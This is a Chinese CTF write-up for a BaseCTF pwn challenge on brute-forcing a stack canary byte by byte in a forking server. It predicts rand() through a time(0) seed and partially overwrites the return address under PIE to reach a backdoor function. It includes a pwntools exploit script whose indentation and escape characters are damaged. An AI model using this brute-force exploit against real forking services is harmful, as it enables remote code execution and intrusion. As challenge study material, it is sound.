考点:每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。
反编译之后看到fork函数,并且通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。
爆破次数:对于32位ELF,低字节固定是x00
,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是256,因此3个字节的逐个爆破总次数是256*3=768次
左侧函数看到直接给出了后门函数,checksec看一下保护全开,read_input()
函数存在栈溢出
那么思路就很清晰了,利用time(0)伪随机绕过判断进入read_input()函数,由于是fork进来的,那么每次进来时候的canary都是相同的,逐位变化看何时返回cheer on(证明和真正的canary匹配上了),直到完全碰撞出canary。最后因为程序开了PIE,想要跳到后门函数,只能确定最后三字节,第四字节是随机的,碰运气吧1/16.
直接上碰撞的脚本代码:
from pwn import *
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('challenge.basectf.fun', 45145)
#p=process('./canary')
#p=gdb.debug('./canary','b main')
elf = ELF('./canary')
#libc6_2.35-0ubuntu3.8_amd64
elf = cdll.LoadLibrary('libc.so.6')
elf.srand(elf.time(0))
p.recvuntil(b'BaseCTFn')
canary = 'x00'
for i in range(7): #64位elf除最后x00需要碰撞前7位
for i in range(256):
payload = str(elf.rand() % 50)
p.sendline(payload)
p.send('a'*(0x70-0x8) + canary + chr(i))
a = p.recvuntil(b"BaseCTFn")
if "cheer" in str(a):
canary += chr(i)
#print(canary)
break
payload = str(elf.rand() % 50)
p.sendline(payload)
payload = 'a'*(0x70-0x8) + canary + 'a'*0x8 + 'xaex52' #后门地址0x12ae,1/16概率赌第一位
p.send(payload)
p.interactive()
脸太黑,爆了1个小时才出来flag
原文始发于微信公众号(智佳网络安全):【BaseCTF-PWN】canary爆破之fork
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论